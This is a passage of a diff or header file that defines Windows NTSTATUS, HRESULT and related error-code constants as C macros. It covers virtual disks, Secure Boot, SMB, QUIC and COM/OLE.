STATUS_VIRTUAL_DISK_LIMITATION -1069940710 +#define STATUS_VHD_INVALID_TYPE -1069940709 +#define STATUS_VHD_INVALID_STATE -1069940708 +#define STATUS_VIRTDISK_UNSUPPORTED_DISK_SECTOR_SIZE -1069940707 +#define STATUS_VIRTDISK_DISK_ALREADY_OWNED -1069940706 +#define STATUS_VIRTDISK_DISK_ONLINE_AND_WRITABLE -1069940705 +#define STATUS_CTLOG_TRACKING_NOT_INITIALIZED -1069940704 +#define STATUS_CTLOG_LOGFILE_SIZE_EXCEEDED_MAXSIZE -1069940703 +#define STATUS_CTLOG_VHD_CHANGED_OFFLINE -1069940702 +#define STATUS_CTLOG_INVALID_TRACKING_STATE -1069940701 +#define STATUS_CTLOG_INCONSISTENT_TRACKING_FILE -1069940700 +#define STATUS_VHD_METADATA_FULL -1069940696 +#define STATUS_VHD_INVALID_CHANGE_TRACKING_ID -1069940695 +#define STATUS_VHD_CHANGE_TRACKING_DISABLED -1069940694 +#define STATUS_VHD_MISSING_CHANGE_TRACKING_INFORMATION -1069940688 +#define STATUS_VHD_RESIZE_WOULD_TRUNCATE_DATA -1069940687 +#define STATUS_VHD_COULD_NOT_COMPUTE_MINIMUM_VIRTUAL_SIZE -1069940686 +#define STATUS_VHD_ALREADY_AT_OR_BELOW_MINIMUM_VIRTUAL_SIZE -1069940685 +#define STATUS_VHD_UNEXPECTED_ID -1069940684 +#define STATUS_QUERY_STORAGE_ERROR -2143682559 +#define STATUS_GDI_HANDLE_LEAK -2143354879 +#define STATUS_RKF_KEY_NOT_FOUND -1069547519 +#define STATUS_RKF_DUPLICATE_KEY -1069547518 +#define STATUS_RKF_BLOB_FULL -1069547517 +#define STATUS_RKF_STORE_FULL -1069547516 +#define STATUS_RKF_FILE_BLOCKED -1069547515 +#define STATUS_RKF_ACTIVE_KEY -1069547514 +#define STATUS_RDBSS_RESTART_OPERATION -1069481983 +#define STATUS_RDBSS_CONTINUE_OPERATION -1069481982 +#define STATUS_RDBSS_POST_OPERATION -1069481981 +#define STATUS_RDBSS_RETRY_LOOKUP -1069481980 +#define STATUS_BTH_ATT_INVALID_HANDLE -1069416447 +#define STATUS_BTH_ATT_READ_NOT_PERMITTED -1069416446 +#define STATUS_BTH_ATT_WRITE_NOT_PERMITTED -1069416445 +#define STATUS_BTH_ATT_INVALID_PDU -1069416444 +#define STATUS_BTH_ATT_INSUFFICIENT_AUTHENTICATION -1069416443 +#define STATUS_BTH_ATT_REQUEST_NOT_SUPPORTED -1069416442 +#define STATUS_BTH_ATT_INVALID_OFFSET -1069416441 +#define STATUS_BTH_ATT_INSUFFICIENT_AUTHORIZATION -1069416440 +#define STATUS_BTH_ATT_PREPARE_QUEUE_FULL -1069416439 +#define STATUS_BTH_ATT_ATTRIBUTE_NOT_FOUND -1069416438 +#define STATUS_BTH_ATT_ATTRIBUTE_NOT_LONG -1069416437 +#define STATUS_BTH_ATT_INSUFFICIENT_ENCRYPTION_KEY_SIZE -1069416436 +#define STATUS_BTH_ATT_INVALID_ATTRIBUTE_VALUE_LENGTH -1069416435 +#define STATUS_BTH_ATT_UNLIKELY -1069416434 +#define STATUS_BTH_ATT_INSUFFICIENT_ENCRYPTION -1069416433 +#define STATUS_BTH_ATT_UNSUPPORTED_GROUP_TYPE -1069416432 +#define STATUS_BTH_ATT_INSUFFICIENT_RESOURCES -1069416431 +#define STATUS_BTH_ATT_UNKNOWN_ERROR -1069412352 +#define STATUS_SECUREBOOT_ROLLBACK_DETECTED -1069350911 +#define STATUS_SECUREBOOT_POLICY_VIOLATION -1069350910 +#define STATUS_SECUREBOOT_INVALID_POLICY -1069350909 +#define STATUS_SECUREBOOT_POLICY_PUBLISHER_NOT_FOUND -1069350908 +#define STATUS_SECUREBOOT_POLICY_NOT_SIGNED -1069350907 +#define STATUS_SECUREBOOT_NOT_ENABLED -2143092730 +#define STATUS_SECUREBOOT_FILE_REPLACED -1069350905 +#define STATUS_SECUREBOOT_POLICY_NOT_AUTHORIZED -1069350904 +#define STATUS_SECUREBOOT_POLICY_UNKNOWN -1069350903 +#define STATUS_SECUREBOOT_POLICY_MISSING_ANTIROLLBACKVERSION -1069350902 +#define STATUS_SECUREBOOT_PLATFORM_ID_MISMATCH -1069350901 +#define STATUS_SECUREBOOT_POLICY_ROLLBACK_DETECTED -1069350900 +#define STATUS_SECUREBOOT_POLICY_UPGRADE_MISMATCH -1069350899 +#define STATUS_SECUREBOOT_REQUIRED_POLICY_FILE_MISSING -1069350898 +#define STATUS_SECUREBOOT_NOT_BASE_POLICY -1069350897 +#define STATUS_SECUREBOOT_NOT_SUPPLEMENTAL_POLICY -1069350896 +#define STATUS_PLATFORM_MANIFEST_NOT_AUTHORIZED -1058340863 +#define STATUS_PLATFORM_MANIFEST_INVALID -1058340862 +#define STATUS_PLATFORM_MANIFEST_FILE_NOT_AUTHORIZED -1058340861 +#define STATUS_PLATFORM_MANIFEST_CATALOG_NOT_AUTHORIZED -1058340860 +#define STATUS_PLATFORM_MANIFEST_BINARY_ID_NOT_FOUND -1058340859 +#define STATUS_PLATFORM_MANIFEST_NOT_ACTIVE -1058340858 +#define STATUS_PLATFORM_MANIFEST_NOT_SIGNED -1058340857 +#define STATUS_SYSTEM_INTEGRITY_ROLLBACK_DETECTED -1058471935 +#define STATUS_SYSTEM_INTEGRITY_POLICY_VIOLATION -1058471934 +#define STATUS_SYSTEM_INTEGRITY_INVALID_POLICY -1058471933 +#define STATUS_SYSTEM_INTEGRITY_POLICY_NOT_SIGNED -1058471932 +#define STATUS_SYSTEM_INTEGRITY_TOO_MANY_POLICIES -1058471931 +#define STATUS_SYSTEM_INTEGRITY_SUPPLEMENTAL_POLICY_NOT_AUTHORIZED -1058471930 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_MALICIOUS -1058471929 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_PUA -1058471928 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_DANGEROUS_EXT -1058471927 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_OFFLINE -1058471926 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_UNFRIENDLY_FILE -1058471925 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_UNATTAINABLE -1058471924 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_EXPLICIT_DENY_FILE -1058471923 +#define STATUS_SYSTEM_INTEGRITY_WHQL_NOT_SATISFIED -1058471922 +#define STATUS_NO_APPLICABLE_APP_LICENSES_FOUND -1058406399 +#define STATUS_CLIP_LICENSE_NOT_FOUND -1058406398 +#define STATUS_CLIP_DEVICE_LICENSE_MISSING -1058406397 +#define STATUS_CLIP_LICENSE_INVALID_SIGNATURE -1058406396 +#define STATUS_CLIP_KEYHOLDER_LICENSE_MISSING_OR_INVALID -1058406395 +#define STATUS_CLIP_LICENSE_EXPIRED -1058406394 +#define STATUS_CLIP_LICENSE_SIGNED_BY_UNKNOWN_SOURCE -1058406393 +#define STATUS_CLIP_LICENSE_NOT_SIGNED -1058406392 +#define STATUS_CLIP_LICENSE_HARDWARE_ID_OUT_OF_TOLERANCE -1058406391 +#define STATUS_CLIP_LICENSE_DEVICE_ID_MISMATCH -1058406390 +#define STATUS_AUDIO_ENGINE_NODE_NOT_FOUND -1069285375 +#define STATUS_HDAUDIO_EMPTY_CONNECTION_LIST -1069285374 +#define STATUS_HDAUDIO_CONNECTION_LIST_NOT_SUPPORTED -1069285373 +#define STATUS_HDAUDIO_NO_LOGICAL_DEVICES_CREATED -1069285372 +#define STATUS_HDAUDIO_NULL_LINKED_LIST_ENTRY -1069285371 +#define STATUS_SOUNDWIRE_COMMAND_ABORTED -1069285370 +#define STATUS_SOUNDWIRE_COMMAND_IGNORED -1069285369 +#define STATUS_SOUNDWIRE_COMMAND_FAILED -1069285368 +#define STATUS_SPACES_REPAIRED 15138816 +#define STATUS_SPACES_PAUSE 15138817 +#define STATUS_SPACES_COMPLETE 15138818 +#define STATUS_SPACES_REDIRECT 15138819 +#define STATUS_SPACES_FAULT_DOMAIN_TYPE_INVALID -1058603007 +#define STATUS_SPACES_RESILIENCY_TYPE_INVALID -1058603005 +#define STATUS_SPACES_DRIVE_SECTOR_SIZE_INVALID -1058603004 +#define STATUS_SPACES_DRIVE_REDUNDANCY_INVALID -1058603002 +#define STATUS_SPACES_NUMBER_OF_DATA_COPIES_INVALID -1058603001 +#define STATUS_SPACES_INTERLEAVE_LENGTH_INVALID -1058602999 +#define STATUS_SPACES_NUMBER_OF_COLUMNS_INVALID -1058602998 +#define STATUS_SPACES_NOT_ENOUGH_DRIVES -1058602997 +#define STATUS_SPACES_EXTENDED_ERROR -1058602996 +#define STATUS_SPACES_PROVISIONING_TYPE_INVALID -1058602995 +#define STATUS_SPACES_ALLOCATION_SIZE_INVALID -1058602994 +#define STATUS_SPACES_ENCLOSURE_AWARE_INVALID -1058602993 +#define STATUS_SPACES_WRITE_CACHE_SIZE_INVALID -1058602992 +#define STATUS_SPACES_NUMBER_OF_GROUPS_INVALID -1058602991 +#define STATUS_SPACES_DRIVE_OPERATIONAL_STATE_INVALID -1058602990 +#define STATUS_SPACES_UPDATE_COLUMN_STATE -1058602989 +#define STATUS_SPACES_MAP_REQUIRED -1058602988 +#define STATUS_SPACES_UNSUPPORTED_VERSION -1058602987 +#define STATUS_SPACES_CORRUPT_METADATA -1058602986 +#define STATUS_SPACES_DRT_FULL -1058602985 +#define STATUS_SPACES_INCONSISTENCY -1058602984 +#define STATUS_SPACES_LOG_NOT_READY -1058602983 +#define STATUS_SPACES_NO_REDUNDANCY -1058602982 +#define STATUS_SPACES_DRIVE_NOT_READY -1058602981 +#define STATUS_SPACES_DRIVE_SPLIT -1058602980 +#define STATUS_SPACES_DRIVE_LOST_DATA -1058602979 +#define STATUS_SPACES_ENTRY_INCOMPLETE -1058602978 +#define STATUS_SPACES_ENTRY_INVALID -1058602977 +#define STATUS_SPACES_MARK_DIRTY -1058602976 +#define STATUS_SPACES_PD_NOT_FOUND -1058602975 +#define STATUS_SPACES_PD_LENGTH_MISMATCH -1058602974 +#define STATUS_SPACES_PD_UNSUPPORTED_VERSION -1058602973 +#define STATUS_SPACES_PD_INVALID_DATA -1058602972 +#define STATUS_SPACES_FLUSH_METADATA -1058602971 +#define STATUS_SPACES_CACHE_FULL -1058602970 +#define STATUS_SPACES_REPAIR_IN_PROGRESS -1058602969 +#define STATUS_VOLSNAP_BOOTFILE_NOT_VALID -1068498941 +#define STATUS_VOLSNAP_ACTIVATION_TIMEOUT -1068498940 +#define STATUS_VOLSNAP_NO_BYPASSIO_WITH_SNAPSHOT -1068498939 +#define STATUS_IO_PREEMPTED -1068433407 +#define STATUS_SVHDX_ERROR_STORED -1067712512 +#define STATUS_SVHDX_ERROR_NOT_AVAILABLE -1067647232 +#define STATUS_SVHDX_UNIT_ATTENTION_AVAILABLE -1067647231 +#define STATUS_SVHDX_UNIT_ATTENTION_CAPACITY_DATA_CHANGED -1067647230 +#define STATUS_SVHDX_UNIT_ATTENTION_RESERVATIONS_PREEMPTED -1067647229 +#define STATUS_SVHDX_UNIT_ATTENTION_RESERVATIONS_RELEASED -1067647228 +#define STATUS_SVHDX_UNIT_ATTENTION_REGISTRATIONS_PREEMPTED -1067647227 +#define STATUS_SVHDX_UNIT_ATTENTION_OPERATING_DEFINITION_CHANGED -1067647226 +#define STATUS_SVHDX_RESERVATION_CONFLICT -1067647225 +#define STATUS_SVHDX_WRONG_FILE_TYPE -1067647224 +#define STATUS_SVHDX_VERSION_MISMATCH -1067647223 +#define STATUS_VHD_SHARED -1067647222 +#define STATUS_SVHDX_NO_INITIATOR -1067647221 +#define STATUS_VHDSET_BACKING_STORAGE_NOT_FOUND -1067647220 +#define STATUS_SMB_NO_PREAUTH_INTEGRITY_HASH_OVERLAP -1067646976 +#define STATUS_SMB_BAD_CLUSTER_DIALECT -1067646975 +#define STATUS_SMB_GUEST_LOGON_BLOCKED -1067646974 +#define STATUS_SMB_NO_SIGNING_ALGORITHM_OVERLAP -1067646973 +#define STATUS_NETWORK_AUTHENTICATION_PROMPT_CANCELED -1067646972 +#define STATUS_REMOTE_MAILSLOTS_DEPRECATED -1067646971 +#define STATUS_SMB_GUEST_LOGON_BLOCKED_SIGNING_REQUIRED -1067646970 +#define STATUS_SMB_GUEST_ENCRYPTION_NOT_SUPPORTED -1067646969 +#define STATUS_SMB_ENCRYPTION_NOT_SUPPORTED_BY_PEER -1067646968 +#define STATUS_SMB_TLS_ACCESS_DENIED -1067646967 +#define STATUS_SECCORE_INVALID_COMMAND -1058537472 +#define STATUS_VSM_NOT_INITIALIZED -1069219840 +#define STATUS_VSM_DMA_PROTECTION_NOT_IN_USE -1069219839 +#define STATUS_VSM_KEY_CI_POLICY_ROLLBACK_DETECTED -1069219838 +#define STATUS_VSMIDK_KEYGEN_FAILURE -1069219837 +#define STATUS_VSMIDK_EXPORT_FAILURE -1069219836 +#define STATUS_VSMIDK_MODULUS_MISMATCH -1069219835 +#define STATUS_APPEXEC_CONDITION_NOT_SATISFIED -1058275328 +#define STATUS_APPEXEC_HANDLE_INVALIDATED -1058275327 +#define STATUS_APPEXEC_INVALID_HOST_GENERATION -1058275326 +#define STATUS_APPEXEC_UNEXPECTED_PROCESS_REGISTRATION -1058275325 +#define STATUS_APPEXEC_INVALID_HOST_STATE -1058275324 +#define STATUS_APPEXEC_NO_DONOR -1058275323 +#define STATUS_APPEXEC_HOST_ID_MISMATCH -1058275322 +#define STATUS_APPEXEC_UNKNOWN_USER -1058275321 +#define STATUS_APPEXEC_APP_COMPAT_BLOCK -1058275320 +#define STATUS_APPEXEC_CALLER_WAIT_TIMEOUT -1058275319 +#define STATUS_APPEXEC_CALLER_WAIT_TIMEOUT_TERMINATION -1058275318 +#define STATUS_APPEXEC_CALLER_WAIT_TIMEOUT_LICENSING -1058275317 +#define STATUS_APPEXEC_CALLER_WAIT_TIMEOUT_RESOURCES -1058275316 +#define STATUS_QUIC_HANDSHAKE_FAILURE -1071382528 +#define STATUS_QUIC_VER_NEG_FAILURE -1071382527 +#define STATUS_QUIC_USER_CANCELED -1071382526 +#define STATUS_QUIC_INTERNAL_ERROR -1071382525 +#define STATUS_QUIC_PROTOCOL_VIOLATION -1071382524 +#define STATUS_QUIC_CONNECTION_IDLE -1071382523 +#define STATUS_QUIC_CONNECTION_TIMEOUT -1071382522 +#define STATUS_QUIC_ALPN_NEG_FAILURE -1071382521 +#define STATUS_QUIC_STREAM_LIMIT_REACHED -1071382520 +#define STATUS_QUIC_ALPN_IN_USE -1071382519 +#define STATUS_QUIC_TLS_UNEXPECTED_MESSAGE -1071382262 +#define STATUS_QUIC_TLS_BAD_CERTIFICATE -1071382230 +#define STATUS_QUIC_TLS_UNSUPPORTED_CERTIFICATE -1071382229 +#define STATUS_QUIC_TLS_CERTIFICATE_REVOKED -1071382228 +#define STATUS_QUIC_TLS_CERTIFICATE_EXPIRED -1071382227 +#define STATUS_QUIC_TLS_CERTIFICATE_UNKNOWN -1071382226 +#define STATUS_QUIC_TLS_ILLEGAL_PARAMETER -1071382225 +#define STATUS_QUIC_TLS_UNKNOWN_CA -1071382224 +#define STATUS_QUIC_TLS_ACCESS_DENIED -1071382223 +#define STATUS_QUIC_TLS_INSUFFICIENT_SECURITY -1071382201 +#define STATUS_QUIC_TLS_INTERNAL_ERROR -1071382192 +#define STATUS_QUIC_TLS_USER_CANCELED -1071382182 +#define STATUS_QUIC_TLS_CERTIFICATE_REQUIRED -1071382156 +#define STATUS_IORING_REQUIRED_FLAG_NOT_SUPPORTED -1069154303 +#define STATUS_IORING_SUBMISSION_QUEUE_FULL -1069154302 +#define STATUS_IORING_VERSION_NOT_SUPPORTED -1069154301 +#define STATUS_IORING_SUBMISSION_QUEUE_TOO_BIG -1069154300 +#define STATUS_IORING_COMPLETION_QUEUE_TOO_BIG -1069154299 +#define STATUS_IORING_SUBMIT_IN_PROGRESS -1069154298 +#define STATUS_IORING_CORRUPT -1069154297 +#define STATUS_IORING_COMPLETION_QUEUE_TOO_FULL -1069154296 +#define STATUS_PRM_HANDLER_NOT_FOUND -1058143744 +#define STATUS_PRM_CONCURRENT_OPERATION -1058143742 +#define STATUS_PRM_MODULE_UPDATE_PENDING -1058143741 +#define STATUS_PRM_MODULE_LOCKED -1058143740 +#define STATUS_PRM_UPDATE_INCOMPATIBLE_VERSION -1058143739 +#define STATUS_PRM_UPDATE_MODULE_MISMATCH -1058143738 +#define STATUS_PRM_UPDATE_MODULE_NOT_FOUND -1058143737 +#define STATUS_PRM_UPDATE_MISSING_EXPORT -1058143736 +#define STATUS_PRM_UPDATE_MODULE_LOCKED -1058143735 +#define STATUS_PRM_UPDATE_BAD_SIGNATURE -1058143734 +#define STATUS_PRM_UPDATE_VERSION_MISMATCH -1058143733 +#define STATUS_PRM_MODULE_UNLOCKED -1058143732 +#define STATUS_PRM_INTERFACE_INACCESSIBLE -1058143731 +#define STATUS_ACCELERATOR_SUBMISSION_QUEUE_FULL -1058078719 +#define STATUS_AAD_CLOUDAP_E_APNONCE_INVALID -1073445552 +#define STATUS_AAD_CLOUDAP_E_BAD_DEVICE_ACCESS_TOKEN_FORMAT -1073445551 +#define STATUS_AAD_CLOUDAP_E_ASSERTION_MALFORMED -1073445550 +#define STATUS_AAD_CLOUDAP_E_INVALID_TENANT -1073445549 +#define STATUS_AAD_CLOUDAP_E_INVALID_DEVICE -1073445548 +#define STATUS_AAD_CLOUDAP_E_INVALID_ACCESS_TOKEN -1073445546 +#define STATUS_AAD_CLOUDAP_E_INVALID_BINDING_KEY_ID -1073445545 +#define STATUS_AAD_CLOUDAP_E_CANT_FIND_ROOT_CERT -1073445543 +#define STATUS_AAD_CLOUDAP_E_ASSERTION_INVALID -1073445542 +#define STATUS_AAD_CLOUDAP_E_CALLER_MISMATCH -1073445541 +#define WINVER 0x500 +#define APP_LOCAL_DEVICE_ID_SIZE 0x20 +#define SEC_E_OK 0 +#define RPC_X_NO_MORE_ENTRIES 1772 +#define RPC_X_SS_CHAR_TRANS_OPEN_FAIL 1773 +#define RPC_X_SS_CHAR_TRANS_SHORT_FILE 1774 +#define RPC_X_SS_IN_NULL_CONTEXT 1775 +#define RPC_X_SS_CONTEXT_DAMAGED 1777 +#define RPC_X_SS_HANDLES_MISMATCH 1778 +#define RPC_X_SS_CANNOT_GET_CALL_HANDLE 1779 +#define RPC_X_NULL_REF_POINTER 1780 +#define RPC_X_ENUM_VALUE_OUT_OF_RANGE 1781 +#define RPC_X_BYTE_COUNT_TOO_SMALL 1782 +#define RPC_X_BAD_STUB_DATA 1783 +#define RPC_X_INVALID_ES_ACTION 1827 +#define RPC_X_WRONG_ES_VERSION 1828 +#define RPC_X_WRONG_STUB_VERSION 1829 +#define RPC_X_INVALID_PIPE_OBJECT 1830 +#define RPC_X_WRONG_PIPE_ORDER 1831 +#define RPC_X_WRONG_PIPE_VERSION 1832 +#define OR_INVALID_OXID 1910 +#define OR_INVALID_OID 1911 +#define OR_INVALID_SET 1912 +#define RPC_X_PIPE_CLOSED 1916 +#define RPC_X_PIPE_DISCIPLINE_ERROR 1917 +#define RPC_X_PIPE_EMPTY 1918 +#define PEERDIST_ERROR_CONTENTINFO_VERSION_UNSUPPORTED 4050 +#define PEERDIST_ERROR_CANNOT_PARSE_CONTENTINFO 4051 +#define PEERDIST_ERROR_MISSING_DATA 4052 +#define PEERDIST_ERROR_NO_MORE 4053 +#define PEERDIST_ERROR_NOT_INITIALIZED 4054 +#define PEERDIST_ERROR_ALREADY_INITIALIZED 4055 +#define PEERDIST_ERROR_SHUTDOWN_IN_PROGRESS 4056 +#define PEERDIST_ERROR_INVALIDATED 4057 +#define PEERDIST_ERROR_ALREADY_EXISTS 4058 +#define PEERDIST_ERROR_OPERATION_NOTFOUND 4059 +#define PEERDIST_ERROR_ALREADY_COMPLETED 4060 +#define PEERDIST_ERROR_OUT_OF_BOUNDS 4061 +#define PEERDIST_ERROR_VERSION_UNSUPPORTED 4062 +#define PEERDIST_ERROR_INVALID_CONFIGURATION 4063 +#define PEERDIST_ERROR_NOT_LICENSED 4064 +#define PEERDIST_ERROR_SERVICE_UNAVAILABLE 4065 +#define PEERDIST_ERROR_TRUST_FAILURE 4066 +#define SCHED_E_SERVICE_NOT_LOCALSYSTEM 6200 +#define FRS_ERR_INVALID_API_SEQUENCE 8001 +#define FRS_ERR_STARTING_SERVICE 8002 +#define FRS_ERR_STOPPING_SERVICE 8003 +#define FRS_ERR_INTERNAL_API 8004 +#define FRS_ERR_INTERNAL 8005 +#define FRS_ERR_SERVICE_COMM 8006 +#define FRS_ERR_INSUFFICIENT_PRIV 8007 +#define FRS_ERR_AUTHENTICATION 8008 +#define FRS_ERR_PARENT_INSUFFICIENT_PRIV 8009 +#define FRS_ERR_PARENT_AUTHENTICATION 8010 +#define FRS_ERR_CHILD_TO_PARENT_COMM 8011 +#define FRS_ERR_PARENT_TO_CHILD_COMM 8012 +#define FRS_ERR_SYSVOL_POPULATE 8013 +#define FRS_ERR_SYSVOL_POPULATE_TIMEOUT 8014 +#define FRS_ERR_SYSVOL_IS_BUSY 8015 +#define FRS_ERR_SYSVOL_DEMOTE 8016 +#define FRS_ERR_INVALID_SERVICE_PARAMETER 8017 +#define DNS_INFO_NO_RECORDS 9501 +#define DNS_REQUEST_PENDING 9506 +#define DNS_STATUS_FQDN 9557 +#define DNS_STATUS_DOTTED_NAME 9558 +#define DNS_STATUS_SINGLE_PART_NAME 9559 +#define DNS_WARNING_PTR_CREATE_FAILED 9715 +#define DNS_WARNING_DOMAIN_UNDELETED 9716 +#define DNS_INFO_AXFR_COMPLETE 9751 +#define DNS_INFO_ADDED_LOCAL_WINS 9753 +#define DNS_STATUS_CONTINUE_NEEDED 9801 +#define WARNING_IPSEC_MM_POLICY_PRUNED 13024 +#define WARNING_IPSEC_QM_POLICY_PRUNED 13025 +#define STORE_ERROR_UNLICENSED 15861 +#define STORE_ERROR_UNLICENSED_USER 15862 +#define STORE_ERROR_PENDING_COM_TRANSACTION 15863 +#define STORE_ERROR_LICENSE_REVOKED 15864 +#define SEVERITY_SUCCESS 0x0 +#define SEVERITY_ERROR 0x1 +#define NOERROR 0x0 +#define E_UNEXPECTED -2147418113 +#define E_NOINTERFACE -2147467262 +#define E_POINTER -2147467261 +#define E_HANDLE -2147024890 +#define E_ABORT -2147467260 +#define E_ACCESSDENIED -2147024891 +#define E_BOUNDS -2147483637 +#define E_CHANGED_STATE -2147483636 +#define E_ILLEGAL_STATE_CHANGE -2147483635 +#define E_ILLEGAL_METHOD_CALL -2147483634 +#define RO_E_METADATA_NAME_NOT_FOUND -2147483633 +#define RO_E_METADATA_NAME_IS_NAMESPACE -2147483632 +#define RO_E_METADATA_INVALID_TYPE_FORMAT -2147483631 +#define RO_E_INVALID_METADATA_FILE -2147483630 +#define RO_E_CLOSED -2147483629 +#define RO_E_EXCLUSIVE_WRITE -2147483628 +#define RO_E_CHANGE_NOTIFICATION_IN_PROGRESS -2147483627 +#define RO_E_ERROR_STRING_NOT_FOUND -2147483626 +#define E_STRING_NOT_NULL_TERMINATED -2147483625 +#define E_ILLEGAL_DELEGATE_ASSIGNMENT -2147483624 +#define E_ASYNC_OPERATION_NOT_STARTED -2147483623 +#define E_APPLICATION_EXITING -2147483622 +#define E_APPLICATION_VIEW_EXITING -2147483621 +#define RO_E_MUST_BE_AGILE -2147483620 +#define RO_E_UNSUPPORTED_FROM_MTA -2147483619 +#define RO_E_COMMITTED -2147483618 +#define RO_E_BLOCKED_CROSS_ASTA_CALL -2147483617 +#define RO_E_CANNOT_ACTIVATE_FULL_TRUST_SERVER -2147483616 +#define RO_E_CANNOT_ACTIVATE_UNIVERSAL_APPLICATION_SERVER -2147483615 +#define CO_E_INIT_TLS -2147467258 +#define CO_E_INIT_SHARED_ALLOCATOR -2147467257 +#define CO_E_INIT_MEMORY_ALLOCATOR -2147467256 +#define CO_E_INIT_CLASS_CACHE -2147467255 +#define CO_E_INIT_RPC_CHANNEL -2147467254 +#define CO_E_INIT_TLS_SET_CHANNEL_CONTROL -2147467253 +#define CO_E_INIT_TLS_CHANNEL_CONTROL -2147467252 +#define CO_E_INIT_UNACCEPTED_USER_ALLOCATOR -2147467251 +#define CO_E_INIT_SCM_MUTEX_EXISTS -2147467250 +#define CO_E_INIT_SCM_FILE_MAPPING_EXISTS -2147467249 +#define CO_E_INIT_SCM_MAP_VIEW_OF_FILE -2147467248 +#define CO_E_INIT_SCM_EXEC_FAILURE -2147467247 +#define CO_E_INIT_ONLY_SINGLE_THREADED -2147467246 +#define CO_E_CANT_REMOTE -2147467245 +#define CO_E_BAD_SERVER_NAME -2147467244 +#define CO_E_WRONG_SERVER_IDENTITY -2147467243 +#define CO_E_OLE1DDE_DISABLED -2147467242 +#define CO_E_RUNAS_SYNTAX -2147467241 +#define CO_E_CREATEPROCESS_FAILURE -2147467240 +#define CO_E_RUNAS_CREATEPROCESS_FAILURE -2147467239 +#define CO_E_RUNAS_LOGON_FAILURE -2147467238 +#define CO_E_LAUNCH_PERMSSION_DENIED -2147467237 +#define CO_E_START_SERVICE_FAILURE -2147467236 +#define CO_E_REMOTE_COMMUNICATION_FAILURE -2147467235 +#define CO_E_SERVER_START_TIMEOUT -2147467234 +#define CO_E_CLSREG_INCONSISTENT -2147467233 +#define CO_E_IIDREG_INCONSISTENT -2147467232 +#define CO_E_NOT_SUPPORTED -2147467231 +#define CO_E_RELOAD_DLL -2147467230 +#define CO_E_MSI_ERROR -2147467229 +#define CO_E_ATTEMPT_TO_CREATE_OUTSIDE_CLIENT_CONTEXT -2147467228 +#define CO_E_SERVER_PAUSED -2147467227 +#define CO_E_SERVER_NOT_PAUSED -2147467226 +#define CO_E_CLASS_DISABLED -2147467225 +#define CO_E_CLRNOTAVAILABLE -2147467224 +#define CO_E_ASYNC_WORK_REJECTED -2147467223 +#define CO_E_SERVER_INIT_TIMEOUT -2147467222 +#define CO_E_NO_SECCTX_IN_ACTIVATE -2147467221 +#define CO_E_TRACKER_CONFIG -2147467216 +#define CO_E_THREADPOOL_CONFIG -2147467215 +#define CO_E_SXS_CONFIG -2147467214 +#define CO_E_MALFORMED_SPN -2147467213 +#define CO_E_UNREVOKED_REGISTRATION_ON_APARTMENT_SHUTDOWN -2147467212 +#define CO_E_PREMATURE_STUB_RUNDOWN -2147467211 +#define S_OK 0 +#define S_FALSE 1 +#define OLE_E_FIRST -2147221504 +#define OLE_E_LAST -2147221249 +#define OLE_S_FIRST 262144 +#define OLE_S_LAST 262399 +#define OLE_E_OLEVERB -2147221504 +#define OLE_E_ADVF -2147221503 +#define OLE_E_ENUM_NOMORE -2147221502 +#define OLE_E_ADVISENOTSUPPORTED -2147221501 +#define OLE_E_NOCONNECTION -2147221500 +#define OLE_E_NOTRUNNING -2147221499 +#define OLE_E_NOCACHE -2147221498 +#define OLE_E_BLANK -2147221497 +#define OLE_E_CLASSDIFF -2147221496 +#define OLE_E_CANT_GETMONIKER -2147221495 +#define OLE_E_CANT_BINDTOSOURCE -2147221494 +#define OLE_E_STATIC -2147221493 +#define OLE_E_PROMPTSAVECANCELLED -2147221492 +#define OLE_E_INVALIDRECT -2147221491 +#define OLE_E_WRONGCOMPOBJ -2147221490 +#define OLE_E_INVALIDHWND -2147221489 +#define OLE_E_NOT_INPLACEACTIVE -2147221488 +#define OLE_E_CANTCONVERT -2147221487 +#define OLE_E_NOSTORAGE -2147221486 +#define DV_E_FORMATETC -2147221404 +#define DV_E_DVTARGETDEVICE -2147221403 +#define DV_E_STGMEDIUM -2147221402 +#define DV_E_STATDATA -2147221401 +#define DV_E_LINDEX -2147221400 +#define DV_E_TYMED -2147221399 +#define DV_E_CLIPFORMAT -2147221398 +#define DV_E_DVASPECT -2147221397 +#define DV_E_DVTARGETDEVICE_SIZE -2147221396 +#define DV_E_NOIVIEWOBJECT -2147221395 +#define DRAGDROP_E_FIRST -2147221248 +#define DRAGDROP_E_LAST -2147221233 +#define DRAGDROP_S_FIRST 262400 +#define DRAGDROP_S_LAST 262415 +#define DRAGDROP_E_NOTREGISTERED -2147221248 +#define DRAGDROP_E_ALREADYREGISTERED -2147221247 +#define DRAGDROP_E_INVALIDHWND -2147221246 +#define DRAGDROP_E_CONCURRENT_DRAG_ATTEMPTED -2147221245 +#define CLASSFACTORY_E_FIRST -2147221232 +#define CLASSFACTORY_E_LAST -2147221217 +#define CLASSFACTORY_S_FIRST 262416 +#define CLASSFACTORY_S_LAST 262431 +#define CLASS_E_NOAGGREGATION -2147221232 +#define CLASS_E_CLASSNOTAVAILABLE -2147221231 +#define CLASS_E_NOTLICENSED -2147221230 +#define MARSHAL_E_FIRST -2147221216 +#define MARSHAL_E_LAST -2147221201 +#define MARSHAL_S_FIRST 262432 +#define MARSHAL_S_LAST 262447 +#define DATA_E_FIRST -2147221200 +#define DATA_E_LAST -2147221185 +#define DATA_S_FIRST 262448 +#define DATA_S_LAST 262463 +#define VIEW_E_FIRST -2147221184 +#define VIEW_E_LAST -2147221169 +#define VIEW_S_FIRST 262464 +#define VIEW_S_LAST 262479 +#define VIEW_E_DRAW -2147221184 +#define REGDB_E_FIRST -2147221168 +#define REGDB_E_LAST -2147221153 +#define REGDB_S_FIRST 262480 +#define REGDB_S_LAST 262495 +#define REGDB_E_READREGDB -2147221168 +#define REGDB_E_WRITEREGDB -2147221167 +#define REGDB_E_KEYMISSING -2147221166 +#define REGDB_E_INVALIDVALUE -2147221165 +#define REGDB_E_CLASSNOTREG -2147221164 +#define REGDB_E_IIDNOTREG -2147221163 +#define REGDB_E_BADTHREADINGMODEL -2147221162 +#define REGDB_E_PACKAGEPOLICYVIOLATION -2147221161 +#define CAT_E_FIRST -2147221152 